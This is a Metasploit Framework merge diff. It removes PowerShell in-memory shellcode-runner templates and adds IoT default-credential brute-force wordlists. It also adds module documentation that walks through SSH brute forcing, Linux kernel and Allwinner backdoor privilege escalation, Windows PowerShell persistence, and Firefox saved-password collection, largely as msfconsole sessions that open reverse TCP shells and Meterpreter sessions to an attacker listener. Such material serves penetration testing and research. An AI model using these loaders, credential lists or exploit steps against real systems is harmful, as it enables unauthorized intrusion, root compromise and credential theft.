Merge branch 'master' into land-7423-localtime
commit
0d5a23b865
|
@ -1,7 +1,7 @@
|
|||
PATH
|
||||
remote: .
|
||||
specs:
|
||||
metasploit-framework (4.12.30)
|
||||
metasploit-framework (4.12.33)
|
||||
actionpack (~> 4.2.6)
|
||||
activerecord (~> 4.2.6)
|
||||
activesupport (~> 4.2.6)
|
||||
|
@ -14,7 +14,7 @@ PATH
|
|||
metasploit-concern
|
||||
metasploit-credential
|
||||
metasploit-model
|
||||
metasploit-payloads (= 1.1.16)
|
||||
metasploit-payloads (= 1.1.19)
|
||||
metasploit_data_models
|
||||
metasploit_payloads-mettle (= 0.0.6)
|
||||
msgpack
|
||||
|
@ -167,7 +167,7 @@ GEM
|
|||
activemodel (~> 4.2.6)
|
||||
activesupport (~> 4.2.6)
|
||||
railties (~> 4.2.6)
|
||||
metasploit-payloads (1.1.16)
|
||||
metasploit-payloads (1.1.19)
|
||||
metasploit_data_models (2.0.4)
|
||||
activerecord (~> 4.2.6)
|
||||
activesupport (~> 4.2.6)
|
||||
|
@ -256,7 +256,7 @@ GEM
|
|||
rex-arch
|
||||
rex-ole (0.1.2)
|
||||
rex-text
|
||||
rex-powershell (0.1.64)
|
||||
rex-powershell (0.1.66)
|
||||
rex-random_identifier
|
||||
rex-text
|
||||
rex-random_identifier (0.1.0)
|
||||
|
|
Binary file not shown.
|
@ -1,30 +0,0 @@
|
|||
Set-StrictMode -Version 2
|
||||
$%{var_syscode} = @"
|
||||
using System;
|
||||
using System.Runtime.InteropServices;
|
||||
namespace %{var_kernel32} {
|
||||
public class func {
|
||||
[Flags] public enum AllocationType { Commit = 0x1000, Reserve = 0x2000 }
|
||||
[Flags] public enum MemoryProtection { ExecuteReadWrite = 0x40 }
|
||||
[Flags] public enum Time : uint { Infinite = 0xFFFFFFFF }
|
||||
[DllImport("kernel32.dll")] public static extern IntPtr VirtualAlloc(IntPtr lpAddress, uint dwSize, uint flAllocationType, uint flProtect);
|
||||
[DllImport("kernel32.dll")] public static extern IntPtr CreateThread(IntPtr lpThreadAttributes, uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, IntPtr lpThreadId);
|
||||
[DllImport("kernel32.dll")] public static extern int WaitForSingleObject(IntPtr hHandle, Time dwMilliseconds);
|
||||
}
|
||||
}
|
||||
"@
|
||||
|
||||
$%{var_codeProvider} = New-Object Microsoft.CSharp.CSharpCodeProvider
|
||||
$%{var_compileParams} = New-Object System.CodeDom.Compiler.CompilerParameters
|
||||
$%{var_compileParams}.ReferencedAssemblies.AddRange(@("System.dll", [PsObject].Assembly.Location))
|
||||
$%{var_compileParams}.GenerateInMemory = $True
|
||||
$%{var_output} = $%{var_codeProvider}.CompileAssemblyFromSource($%{var_compileParams}, $%{var_syscode})
|
||||
|
||||
[Byte[]]$%{var_code} = [System.Convert]::FromBase64String("%{b64shellcode}")
|
||||
|
||||
$%{var_baseaddr} = [%{var_kernel32}.func]::VirtualAlloc(0, $%{var_code}.Length + 1, [%{var_kernel32}.func+AllocationType]::Reserve -bOr [%{var_kernel32}.func+AllocationType]::Commit, [%{var_kernel32}.func+MemoryProtection]::ExecuteReadWrite)
|
||||
if ([Bool]!$%{var_baseaddr}) { $global:result = 3; return }
|
||||
[System.Runtime.InteropServices.Marshal]::Copy($%{var_code}, 0, $%{var_baseaddr}, $%{var_code}.Length)
|
||||
[IntPtr] $%{var_threadHandle} = [%{var_kernel32}.func]::CreateThread(0,0,$%{var_baseaddr},0,0,0)
|
||||
if ([Bool]!$%{var_threadHandle}) { $global:result = 7; return }
|
||||
$%{var_temp} = [%{var_kernel32}.func]::WaitForSingleObject($%{var_threadHandle}, [%{var_kernel32}.func+Time]::Infinite)
|
|
@ -1,20 +0,0 @@
|
|||
$%{var_syscode} = @"
|
||||
[DllImport("kernel32.dll")]
|
||||
public static extern IntPtr VirtualAlloc(IntPtr lpAddress, uint dwSize, uint flAllocationType, uint flProtect);
|
||||
[DllImport("kernel32.dll")]
|
||||
public static extern IntPtr CreateThread(IntPtr lpThreadAttributes, uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, IntPtr lpThreadId);
|
||||
[DllImport("msvcrt.dll")]
|
||||
public static extern IntPtr memset(IntPtr dest, uint src, uint count);
|
||||
"@
|
||||
|
||||
$%{var_win32_func} = Add-Type -memberDefinition $%{var_syscode} -Name "Win32" -namespace Win32Functions -passthru
|
||||
|
||||
%{shellcode}
|
||||
|
||||
$%{var_rwx} = $%{var_win32_func}::VirtualAlloc(0,[Math]::Max($%{var_code}.Length,0x1000),0x3000,0x40)
|
||||
|
||||
for ($%{var_iter}=0;$%{var_iter} -le ($%{var_code}.Length-1);$%{var_iter}++) {
|
||||
$%{var_win32_func}::memset([IntPtr]($%{var_rwx}.ToInt32()+$%{var_iter}), $%{var_code}[$%{var_iter}], 1) | Out-Null
|
||||
}
|
||||
|
||||
$%{var_win32_func}::CreateThread(0,0,$%{var_rwx},0,0,0)
|
|
@ -1,27 +0,0 @@
|
|||
function %{func_get_proc_address} {
|
||||
Param ($%{var_module}, $%{var_procedure})
|
||||
$%{var_unsafe_native_methods} = ([AppDomain]::CurrentDomain.GetAssemblies() | Where-Object { $_.GlobalAssemblyCache -And $_.Location.Split('\\')[-1].Equals('System.dll') }).GetType('Microsoft.Win32.UnsafeNativeMethods')
|
||||
|
||||
return $%{var_unsafe_native_methods}.GetMethod('GetProcAddress').Invoke($null, @([System.Runtime.InteropServices.HandleRef](New-Object System.Runtime.InteropServices.HandleRef((New-Object IntPtr), ($%{var_unsafe_native_methods}.GetMethod('GetModuleHandle')).Invoke($null, @($%{var_module})))), $%{var_procedure}))
|
||||
}
|
||||
|
||||
function %{func_get_delegate_type} {
|
||||
Param (
|
||||
[Parameter(Position = 0, Mandatory = $True)] [Type[]] $%{var_parameters},
|
||||
[Parameter(Position = 1)] [Type] $%{var_return_type} = [Void]
|
||||
)
|
||||
|
||||
$%{var_type_builder} = [AppDomain]::CurrentDomain.DefineDynamicAssembly((New-Object System.Reflection.AssemblyName('ReflectedDelegate')), [System.Reflection.Emit.AssemblyBuilderAccess]::Run).DefineDynamicModule('InMemoryModule', $false).DefineType('MyDelegateType', 'Class, Public, Sealed, AnsiClass, AutoClass', [System.MulticastDelegate])
|
||||
$%{var_type_builder}.DefineConstructor('RTSpecialName, HideBySig, Public', [System.Reflection.CallingConventions]::Standard, $%{var_parameters}).SetImplementationFlags('Runtime, Managed')
|
||||
$%{var_type_builder}.DefineMethod('Invoke', 'Public, HideBySig, NewSlot, Virtual', $%{var_return_type}, $%{var_parameters}).SetImplementationFlags('Runtime, Managed')
|
||||
|
||||
return $%{var_type_builder}.CreateType()
|
||||
}
|
||||
|
||||
[Byte[]]$%{var_code} = [System.Convert]::FromBase64String("%{b64shellcode}")
|
||||
|
||||
$%{var_buffer} = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer((%{func_get_proc_address} kernel32.dll VirtualAlloc), (%{func_get_delegate_type} @([IntPtr], [UInt32], [UInt32], [UInt32]) ([IntPtr]))).Invoke([IntPtr]::Zero, $%{var_code}.Length,0x3000, 0x40)
|
||||
[System.Runtime.InteropServices.Marshal]::Copy($%{var_code}, 0, $%{var_buffer}, $%{var_code}.length)
|
||||
|
||||
$%{var_hthread} = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer((%{func_get_proc_address} kernel32.dll CreateThread), (%{func_get_delegate_type} @([IntPtr], [UInt32], [IntPtr], [IntPtr], [UInt32], [IntPtr]) ([IntPtr]))).Invoke([IntPtr]::Zero,0,$%{var_buffer},[IntPtr]::Zero,0,[IntPtr]::Zero)
|
||||
[System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer((%{func_get_proc_address} kernel32.dll WaitForSingleObject), (%{func_get_delegate_type} @([IntPtr], [Int32]))).Invoke($%{var_hthread},0xffffffff) | Out-Null
|
|
@ -50,7 +50,7 @@ shdr:
|
|||
dd 0 ; sh_link
|
||||
dd 0 ; sh_info
|
||||
dq 8 ; sh_addralign
|
||||
dq dynsz ; sh_entsize
|
||||
dq 7 ; sh_entsize
|
||||
shentsize equ $ - shdr
|
||||
dd 0 ; sh_name
|
||||
dd 3 ; sh_type = SHT_STRTAB
|
||||
|
@ -66,9 +66,6 @@ dynsection:
|
|||
; DT_INIT
|
||||
dq 0x0c
|
||||
dq _start
|
||||
; DT_HASH
|
||||
dq 0x04
|
||||
dq 0
|
||||
; DT_STRTAB
|
||||
dq 0x05
|
||||
dq strtab
|
||||
|
@ -77,7 +74,7 @@ dynsection:
|
|||
dq strtab
|
||||
; DT_STRSZ
|
||||
dq 0x0a
|
||||
dq strtabsz
|
||||
dq 0
|
||||
; DT_SYMENT
|
||||
dq 0x0b
|
||||
dq 0
|
||||
|
|
Binary file not shown.
|
@ -1213,3 +1213,32 @@ CMOSPWD
|
|||
dadmin
|
||||
wlcsystem
|
||||
vagrant
|
||||
xc3511
|
||||
vizxv
|
||||
888888
|
||||
xmhdipc
|
||||
juantech
|
||||
54321
|
||||
666666
|
||||
klv123
|
||||
service
|
||||
666666
|
||||
888888
|
||||
ubnt
|
||||
klv1234
|
||||
Zte521
|
||||
hi3518
|
||||
jvbzd
|
||||
anko
|
||||
zlxx.
|
||||
7ujMko0vizxv
|
||||
7ujMko0admin
|
||||
ikwb
|
||||
dreambox
|
||||
user
|
||||
realtek
|
||||
1111111
|
||||
54321
|
||||
7ujMko0admin
|
||||
meinsm
|
||||
fucker
|
||||
|
|
|
@ -1785,3 +1785,36 @@ AURORA$JIS$UTILITY$
|
|||
wlcsystem wlcsystem
|
||||
news
|
||||
CPRM
|
||||
root xc3511
|
||||
root vizxv
|
||||
root 888888
|
||||
root xmhdipc
|
||||
root juantech
|
||||
root 123456
|
||||
root 54321
|
||||
root 1111
|
||||
root 666666
|
||||
root klv123
|
||||
service service
|
||||
admin1 password
|
||||
666666 666666
|
||||
888888 888888
|
||||
ubnt ubnt
|
||||
root klv1234
|
||||
root Zte521
|
||||
root hi3518
|
||||
root jvbzd
|
||||
root anko
|
||||
root zlxx.
|
||||
root 7ujMko0vizxv
|
||||
root 7ujMko0admin
|
||||
root ikwb
|
||||
root dreambox
|
||||
root user
|
||||
root realtek
|
||||
root 00000000
|
||||
admin 1111111
|
||||
admin 54321
|
||||
admin 7ujMko0admin
|
||||
admin meinsm
|
||||
mother fucker
|
||||
|
|
|
@ -913,3 +913,8 @@ AUTOLOG1
|
|||
AURORA$JIS$UTILITY$
|
||||
wlcsystem
|
||||
CPRM
|
||||
Admin1
|
||||
ubnt
|
||||
666666
|
||||
888888
|
||||
mother
|
||||
|
|
|
@ -0,0 +1,43 @@
|
|||
|
||||
00000000
|
||||
1111
|
||||
1111111
|
||||
1234
|
||||
12345
|
||||
123456
|
||||
54321
|
||||
666666
|
||||
7ujMko0admin
|
||||
7ujMko0vizxv
|
||||
888888
|
||||
admin
|
||||
admin1234
|
||||
anko
|
||||
default
|
||||
dreambox
|
||||
fucker
|
||||
guest
|
||||
hi3518
|
||||
ikwb
|
||||
juantech
|
||||
jvbzd
|
||||
klv123
|
||||
klv1234
|
||||
meinsm
|
||||
pass
|
||||
password
|
||||
realtek
|
||||
root
|
||||
service
|
||||
smcadmin
|
||||
supervisor
|
||||
support
|
||||
system
|
||||
tech
|
||||
ubnt
|
||||
user
|
||||
vizxv
|
||||
xc3511
|
||||
xmhdipc
|
||||
zlxx.
|
||||
Zte521
|
|
@ -0,0 +1,15 @@
|
|||
666666
|
||||
888888
|
||||
admin
|
||||
admin1
|
||||
administrator
|
||||
Administrator
|
||||
guest
|
||||
mother
|
||||
root
|
||||
service
|
||||
supervisor
|
||||
support
|
||||
tech
|
||||
ubnt
|
||||
user
|
|
@ -0,0 +1,60 @@
|
|||
root xc3511
|
||||
root vizxv
|
||||
root admin
|
||||
admin admin
|
||||
root 888888
|
||||
root xmhdipc
|
||||
root default
|
||||
root juantech
|
||||
root 123456
|
||||
root 54321
|
||||
support support
|
||||
root
|
||||
admin password
|
||||
root root
|
||||
root 12345
|
||||
user user
|
||||
admin
|
||||
root pass
|
||||
admin admin1234
|
||||
root 1111
|
||||
admin smcadmin
|
||||
admin 1111
|
||||
root 666666
|
||||
root password
|
||||
root 1234
|
||||
root klv123
|
||||
Administrator admin
|
||||
service service
|
||||
supervisor supervisor
|
||||
guest guest
|
||||
guest 12345
|
||||
admin1 password
|
||||
administrator 1234
|
||||
666666 666666
|
||||
888888 888888
|
||||
ubnt ubnt
|
||||
root klv1234
|
||||
root Zte521
|
||||
root hi3518
|
||||
root jvbzd
|
||||
root anko
|
||||
root zlxx.
|
||||
root 7ujMko0vizxv
|
||||
root 7ujMko0admin
|
||||
root system
|
||||
root ikwb
|
||||
root dreambox
|
||||
root user
|
||||
root realtek
|
||||
root 00000000
|
||||
admin 1111111
|
||||
admin 1234
|
||||
admin 12345
|
||||
admin 54321
|
||||
admin 123456
|
||||
admin 7ujMko0admin
|
||||
admin pass
|
||||
admin meinsm
|
||||
tech tech
|
||||
mother fucker
|
|
@ -0,0 +1,76 @@
|
|||
Siemens Industrial controllers and most other industrial OEMs
|
||||
use a proprietary protocol to discover their devices accross a network.
|
||||
In the case of Siemens this is called the Profinet Discover Protocol.
|
||||
Known in Wireshark as PN_DCP
|
||||
|
||||
It works purely on Layer 2 (Ethernet addresses) and sends out a single
|
||||
multicast packet (making it safe to use in sensitive networks).
|
||||
Each profinet enabled responds with an array of information:
|
||||
- Its IP address, Subnetmask and Gateway
|
||||
- Its Profinet Devicename ('Station Name')
|
||||
- The Type of station
|
||||
- A Vendor ID (e.g. '002a'), signifing the vendor (e.g. 'Siemens')
|
||||
- A Device Role (e.g. '01'), signifing the type of device (e.g. 'IO-Controller')
|
||||
- A Device ID (e.g. '010d'), signifing the device type (e.g. 'S7-1200')
|
||||
|
||||
## Vulnerable Application
|
||||
|
||||
This is a hardware choice of design, and as such CANNOT be changed without
|
||||
loss of compatibility.
|
||||
Possible mitigations include: pulling the plug (literally), using network isolation
|
||||
(Firewall, Router, IDS, IPS, network segmentation, etc...) or not allowing bad
|
||||
people on your network.
|
||||
|
||||
Most, if not all, PLC's (computers that control engines, robots, conveyor
|
||||
belts, sensors, camera's, doorlocks, CRACs ...) have vulnerabilities where,
|
||||
using their own tools, remote configuration and programming can be done
|
||||
*WITHOUT* authentication. Investigators and underground hackers are just now
|
||||
creating simple tools to convert the, often proprietary, protocols into simple
|
||||
scripts. The operating word here is "proprietary". Right now, the only thing
|
||||
stopping very bad stuff from happening.
|
||||
|
||||
## Verification Steps
|
||||
|
||||
The following demonstrates a basic scenario, we "detect" two devices:
|
||||
|
||||
```
|
||||
msf > search profinet
|
||||
msf > use auxiliary/scanner/scada/profinet_siemens
|
||||
msf auxiliary(profinet_siemens) > run
|
||||
|
||||
[*] Sending packet out to eth0
|
||||
[+] Parsing packet from 00:0e:8c:cf:7b:1a
|
||||
Type of station: ET200S CPU
|
||||
Name of station: pn-io-1
|
||||
Vendor and Device Type: Siemens, ET200S
|
||||
Device Role: IO-Controller
|
||||
IP, Subnetmask and Gateway are: 172.16.108.11, 255.255.0.0, 172.16.108.11
|
||||
|
||||
[+] Parsing packet from 00:50:56:b6:fe:b6
|
||||
Type of station: SIMATIC-PC
|
||||
Name of station: nm
|
||||
Vendor and Device Type: Siemens, PC Simulator
|
||||
Device Role: IO-Controller
|
||||
IP, Subnetmask and Gateway are: 172.16.30.102, 255.255.0.0, 172.16.0.1
|
||||
|
||||
[+] I found 2 devices for you!
|
||||
[*] Auxiliary module execution completed
|
||||
```
|
||||
|
||||
## Module Options
|
||||
```
|
||||
msf auxiliary(profinet_siemens) > show options
|
||||
|
||||
Module options (auxiliary/scanner/scada/profinet_siemens):
|
||||
|
||||
Name Current Setting Required Description
|
||||
---- --------------- -------- -----------
|
||||
INTERFACE eth0 yes Set an interface
|
||||
TIMEOUT 2 yes Seconds to wait, set longer on slower networks
|
||||
```
|
||||
|
||||
By default, the module uses interface 'eth0', there is a check to see if it is live.
|
||||
|
||||
The module will send out an ethernet packet and wait for responses.
|
||||
By default, it will wait 2 seconds for any responses, this is long enough for most networks.
|
||||
Increase this on larger and/or slower networks, it just increases the wait time.
|
|
@ -0,0 +1,133 @@
|
|||
## Creating A Testing Environment
|
||||
|
||||
This module works against Ubuntu 13.04, and 13.10. As of writing this, those releases are at EOL (end of life). If you wish to install `gcc` or other command, you'll need to fix your `/etc/sources.list` to
|
||||
point to the correct repos.
|
||||
|
||||
`sudo sed -i -re 's/([a-z]{2}\.)?archive.ubuntu.com|security.ubuntu.com/old-releases.ubuntu.com/g' /etc/apt/sources.list` [source](http://askubuntu.com/questions/91815/how-to-install-software-or-upgrade-from-an-old-unsupported-release)
|
||||
|
||||
This module has been tested against:
|
||||
|
||||
1. Ubuntu 13.04 (default kernel) 3.8.0-19-generic
|
||||
|
||||
This module should also work against:
|
||||
|
||||
1. Ubuntu 13.10 (default kernel) 3.11.0-12-generic
|
||||
2. Ubuntu 13.10 3.11.0-15-generic
|
||||
|
||||
More kernels could be added to this, just need the proper offsets.
|
||||
|
||||
## Verification Steps
|
||||
|
||||
1. Start msfconsole
|
||||
2. Exploit a box via whatever method
|
||||
3. Do: `use exploit/linux/local/recvmmsg_priv_esc`
|
||||
4. Do: `set session #`
|
||||
5. Do: `set verbose true`
|
||||
6. Do: `exploit`
|
||||
|
||||
## Options
|
||||
|
||||
**COMPILE**
|
||||
|
||||
If we should attempt to compile live on the system, or drop a binary. Default is `auto` which will compile if `gcc` is installed.
|
||||
|
||||
**WritableDir**
|
||||
|
||||
A folder we can write files to. Defaults to /tmp
|
||||
|
||||
## Scenarios
|
||||
|
||||
### Ubuntu 13.04 (with default kernel: 3.8.0-19-generic)
|
||||
|
||||
#### Initial Access
|
||||
|
||||
[*] Processing recvmmsg.rc for ERB directives.
|
||||
resource (recvmmsg.rc)> use auxiliary/scanner/ssh/ssh_login
|
||||
resource (recvmmsg.rc)> set rhosts 192.168.2.20
|
||||
rhosts => 192.168.2.20
|
||||
resource (recvmmsg.rc)> set username ubuntu
|
||||
username => ubuntu
|
||||
resource (recvmmsg.rc)> set password ubuntu
|
||||
password => ubuntu
|
||||
resource (recvmmsg.rc)> exploit
|
||||
[*] SSH - Starting bruteforce
|
||||
[+] SSH - Success: 'ubuntu:ubuntu' 'uid=1000(ubuntu) gid=1000(ubuntu) groups=1000(ubuntu),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),111(lpadmin),112(sambashare) Linux ubuntu1304 3.8.0-19-generic #29-Ubuntu SMP Wed Apr 17 18:16:28 UTC 2013 x86_64 x86_64 x86_64 GNU/Linux '
|
||||
[!] No active DB -- Credential data will not be saved!
|
||||
[*] Command shell session 1 opened (192.168.2.117:39613 -> 192.168.2.20:22) at 2016-10-08 23:19:48 -0400
|
||||
[*] Scanned 1 of 1 hosts (100% complete)
|
||||
[*] Auxiliary module execution completed
|
||||
|
||||
#### Escalate
|
||||
|
||||
resource (recvmmsg.rc)> use exploit/linux/local/recvmmsg_priv_esc
|
||||
resource (recvmmsg.rc)> set verbose true
|
||||
verbose => true
|
||||
resource (recvmmsg.rc)> set payload linux/x86/shell/reverse_tcp
|
||||
payload => linux/x86/shell/reverse_tcp
|
||||
resource (recvmmsg.rc)> set session 1
|
||||
session => 1
|
||||
resource (recvmmsg.rc)> set lhost 192.168.2.117
|
||||
lhost => 192.168.2.117
|
||||
resource (recvmmsg.rc)> exploit
|
||||
[*] Started reverse TCP handler on 192.168.2.117:4444
|
||||
[+] Kernel 3.8.0.pre.19.pre.generic is exploitable
|
||||
[+] gcc is installed
|
||||
[*] Live compiling exploit on system
|
||||
[+] Kernel 3.8.0.pre.19.pre.generic is exploitable
|
||||
[*] Writing to /tmp/4bUIkbrG.c (5950 bytes)
|
||||
[*] Max line length is 65537
|
||||
[*] Writing 5950 bytes in 1 chunks of 20667 bytes (octal-encoded), using printf
|
||||
[*] Compiling /tmp/4bUIkbrG.c
|
||||
[*] Writing to /tmp/a0RwAacU (185 bytes)
|
||||
[*] Max line length is 65537
|
||||
[*] Writing 185 bytes in 1 chunks of 560 bytes (octal-encoded), using printf
|
||||
[*] Exploiting... May take 17min. Start time: 2016-10-08 23:20:00 -0400
|
||||
[*] Sending stage (36 bytes) to 192.168.2.20
|
||||
[*] Command shell session 2 opened (192.168.2.117:4444 -> 192.168.2.20:38465) at 2016-10-08 23:32:49 -0400
|
||||
|
||||
id
|
||||
uid=0(root) gid=0(root) groups=0(root)
|
||||
uname -a
|
||||
Linux ubuntu1304 3.8.0-19-generic #29-Ubuntu SMP Wed Apr 17 18:16:28 UTC 2013 x86_64 x86_64 x86_64 GNU/Linux
|
||||
|
||||
### Using pre-compiled binaries on the same system
|
||||
|
||||
resource (recvmmsg.rc)> use exploit/linux/local/recvmmsg_priv_esc
|
||||
resource (recvmmsg.rc)> set verbose true
|
||||
verbose => true
|
||||
resource (recvmmsg.rc)> set payload linux/x86/shell/reverse_tcp
|
||||
payload => linux/x86/shell/reverse_tcp
|
||||
resource (recvmmsg.rc)> set session 1
|
||||
session => 1
|
||||
resource (recvmmsg.rc)> set lhost 192.168.2.117
|
||||
lhost => 192.168.2.117
|
||||
resource (recvmmsg.rc)> exploit
|
||||
[*] Started reverse TCP handler on 192.168.2.117:4444
|
||||
[+] Kernel 3.8.0.pre.19.pre.generic is exploitable
|
||||
[-] gcc is not installed. Compiling will fail.
|
||||
[*] Dropping pre-compiled exploit on system
|
||||
[+] Kernel 3.8.0.pre.19.pre.generic is exploitable
|
||||
[*] Writing to /tmp/Yc0xB9oC (14571 bytes)
|
||||
[*] Max line length is 65537
|
||||
[*] Writing 14571 bytes in 1 chunks of 38575 bytes (octal-encoded), using printf
|
||||
[*] Writing to /tmp/a0RwAacU (185 bytes)
|
||||
[*] Max line length is 65537
|
||||
[*] Writing 185 bytes in 1 chunks of 560 bytes (octal-encoded), using printf
|
||||
[*] Exploiting... May take 17min. Start time: 2016-10-08 23:42:01 -0400
|
||||
[*] Sending stage (36 bytes) to 192.168.2.20
|
||||
[*] Command shell session 2 opened (192.168.2.117:4444 -> 192.168.2.20:38465) at 2016-10-08 23:54:50 -0400
|
||||
[+] Deleted /tmp/Yc0xB9oC
|
||||
[+] Deleted /tmp/a0RwAacU
|
||||
|
||||
2689016405
|
||||
carERUCEUgdCZfvTyiWuBklsNMqcNhey
|
||||
true
|
||||
dPZDicgefmDeBvIpRYKaToiSQmHWQxBe
|
||||
yGWMZKlCTQskKCZERIXNchDARUIzzBJn
|
||||
FjFxyOSVHntGpawbQfSzIdRPsbeyOgSq
|
||||
true
|
||||
HFPuJArQoYvuxhkoWbAwvdDbNVUjSdUL
|
||||
vMvWNASOZcfTmStOGnozdJzfTAUWJYzU
|
||||
VQUKZqzBlQaQJmbtyQSSNudDtINToRhu
|
||||
whoami
|
||||
root
|
|
@ -0,0 +1,71 @@
|
|||
Vulnerable Allwinner SoC chips: H3, A83T or H8 which rely on Kernel 3.4
|
||||
Vulnerable OS: all OS images available for Orange Pis,
|
||||
any for FriendlyARM's NanoPi M1,
|
||||
SinoVoip's M2+ and M3,
|
||||
Cuebietech's Cubietruck +
|
||||
Linksprite's pcDuino8 Uno
|
||||
Exploitation may be possible against Dragon (x10) and Allwinner Android tablets
|
||||
|
||||
This module attempts to exploit a debug backdoor privilege escalation in Allwinner SoC based devices. Implements the Allwinner privilege escalation as documented in [Metasploit issue #6869](https://github.com/rapid7/metasploit-framework/issues/6869). It is a simple debug kernel module that, when "rootmydevice" is echoed to the process, it escalates the shell to root.
|
||||
|
||||
## Usage
|
||||
|
||||
To use this module, you need a vulnerable device. An Orange Pi (PC model) running Lubuntu 14.04 v0.8.0 works, but other OSes for the device (as well as other devices) are also vulnerable.
|
||||
|
||||
- `use auxiliary/scanner/ssh/ssh_login`
|
||||
|
||||
```
|
||||
msf auxiliary(ssh_login) > set username orangepi
|
||||
username => orangepi
|
||||
msf auxiliary(ssh_login) > set password orangepi
|
||||
password => orangepi
|
||||
msf auxiliary(ssh_login) > set rhosts 192.168.2.21
|
||||
rhosts => 192.168.2.21
|
||||
msf auxiliary(ssh_login) > exploit
|
||||
|
||||
[*] 192.168.2.21:22 SSH - Starting bruteforce
|
||||
[+] 192.168.2.21:22 SSH - Success: 'orangepi:orangepi' 'uid=1001(orangepi) gid=1001(orangepi) groups=1001(orangepi),27(sudo),29(audio) Linux orangepi 3.4.39 #41 SMP PREEMPT Sun Jun 21 13:09:26 HKT 2015 armv7l armv7l armv7l GNU/Linux '
|
||||
[!] No active DB -- Credential data will not be saved!
|
||||
[*] Command shell session 1 opened (192.168.2.229:33673 -> 192.168.2.21:22) at 2016-05-17 21:55:27 -0400
|
||||
[*] Scanned 1 of 1 hosts (100% complete)
|
||||
[*] Auxiliary module execution completed
|
||||
```
|
||||
|
||||
- `use exploit/multi/local/allwinner_backdoor`
|
||||
|
||||
```
|
||||
msf exploit(allwinner_backdoor) > set verbose true
|
||||
verbose => true
|
||||
msf exploit(allwinner_backdoor) > set session 1
|
||||
session => 1
|
||||
msf exploit(allwinner_backdoor) > set payload linux/armle/mettle/reverse_tcp
|
||||
payload => linux/armle/mettle/reverse_tcp
|
||||
msf exploit(allwinner_backdoor) > set lhost 192.168.2.117
|
||||
lhost => 192.168.2.117
|
||||
msf exploit(allwinner_backdoor) > check
|
||||
[*] The target appears to be vulnerable.
|
||||
msf exploit(allwinner_backdoor) > exploit
|
||||
```
|
||||
|
||||
## Successful exploitation:
|
||||
|
||||
```
|
||||
[*] Started reverse TCP handler on 192.168.2.117:4444
|
||||
[*] Transmitting intermediate stager...(136 bytes)
|
||||
[*] Sending stage (374540 bytes) to 192.168.2.248
|
||||
[+] Backdoor Found, writing payload to /tmp/odzVx.elf
|
||||
[*] Max line length is 65537
|
||||
[*] Writing 284 bytes in 1 chunks of 843 bytes (octal-encoded), using printf
|
||||
[+] Escalating
|
||||
[*] Transmitting intermediate stager...(136 bytes)
|
||||
[*] Sending stage (374540 bytes) to 192.168.2.248
|
||||
[*] Meterpreter session 2 opened (192.168.2.117:4444 -> 192.168.2.248:49472) at 2016-09-22 21:56:50 -0400
|
||||
|
||||
meterpreter > getuid
|
||||
Server username: uid=0, gid=0, euid=0, egid=0
|
||||
meterpreter > sysinfo
|
||||
Computer : 192.168.2.248
|
||||
OS : Ubuntu 14.04 (Linux 3.4.39)
|
||||
Architecture : armv7l
|
||||
Meterpreter : armle/linux
|
||||
```
|
|
@ -0,0 +1,63 @@
|
|||
|
||||
## Example Usage
|
||||
|
||||
```
|
||||
msf exploit(handler) > use exploit/windows/local/ps_persist
|
||||
msf exploit(ps_persist) > set session -1
|
||||
session => -1
|
||||
msf exploit(ps_persist) > set payload windows/meterpreter/reverse_tcp
|
||||
payload => windows/meterpreter/reverse_tcp
|
||||
msf exploit(ps_persist) > set lhost 192.168.56.1
|
||||
lhost => 192.168.56.1
|
||||
msf exploit(ps_persist) > set lport 4445
|
||||
lport => 4445
|
||||
msf exploit(ps_persist) > show options
|
||||
|
||||
Module options (exploit/windows/local/ps_persist):
|
||||
|
||||
Name Current Setting Required Description
|
||||
---- --------------- -------- -----------
|
||||
OUTPUT_TARGET no Name and path of the generated executable, default random, omit extension
|
||||
SESSION -1 yes The session to run this module on.
|
||||
START_APP true no Run EXE/Install Service
|
||||
SVC_DNAME MsfDynSvc no Display Name to use for the Windows Service
|
||||
SVC_GEN false no Build a Windows service, which defaults to running as localsystem
|
||||
SVC_NAME MsfDynSvc no Name to use for the Windows Service
|
||||
|
||||
|
||||
Payload options (windows/meterpreter/reverse_tcp):
|
||||
|
||||
Name Current Setting Required Description
|
||||
---- --------------- -------- -----------
|
||||
EXITFUNC process yes Exit technique (Accepted: '', seh, thread, process, none)
|
||||
LHOST yes The listen address
|
||||
LPORT 4445 yes The listen port
|
||||
|
||||
|
||||
Exploit target:
|
||||
|
||||
Id Name
|
||||
-- ----
|
||||
0 Universal
|
||||
|
||||
|
||||
msf exploit(ps_persist) > run
|
||||
|
||||
[*] Started reverse TCP handler on 192.168.56.1:4445
|
||||
[+] - Bytes remaining: 9664
|
||||
[+] - Bytes remaining: 1664
|
||||
[+] Payload successfully staged.
|
||||
[*] Sending stage (957999 bytes) to 192.168.56.101
|
||||
[+] Finished!
|
||||
[*] Meterpreter session 2 opened (192.168.56.1:4445 -> 192.168.56.101:49974) at 2016-10-08 18:42:36 -0500
|
||||
|
||||
meterpreter > sysinfo
|
||||
Computer : DESKTOP-B8ALP1P
|
||||
OS : Windows 10 (Build 14393).
|
||||
Architecture : x64 (Current Process is WOW64)
|
||||
System Language : en_US
|
||||
Domain : WORKGROUP
|
||||
Logged On Users : 2
|
||||
Meterpreter : x86/win32
|
||||
```
|
||||
|
|
@ -0,0 +1,68 @@
|
|||
## Vulnerable Application
|
||||
|
||||
This post-exploitation module allows the collection of saved Firefox passwords from a Firefox privileged javascript shell.
|
||||
|
||||
## Verification Steps
|
||||
|
||||
1. Start `msfconsole`
|
||||
2. Get privileged javascript session
|
||||
3. Do: `use post/firefox/gather/passwords`
|
||||
4. Do: `set SESSION <session id>`
|
||||
5. Do: `run`
|
||||
6. You should be able to see all saved Firefox passwords in the loot file in JSON format
|
||||
|
||||
## Options
|
||||
|
||||
- **SESSION** - The session to run the module on.
|
||||
|
||||
- **TIMEOUT** - Maximum time (seconds) to wait for a response. The default value is 90.
|
||||
|
||||
## Scenarios
|
||||
|
||||
**Obtain a privileged javascript shell and gather saved Firefox passwords**
|
||||
|
||||
To be able to use this module, a privileged javascript shell is needed. It can be obtained by using a javascript privilege exploit like `exploit/multi/browser/firefox_proto_crmfrequest`, `exploit/multi/browser/firefox_proxy_prototype` or others.
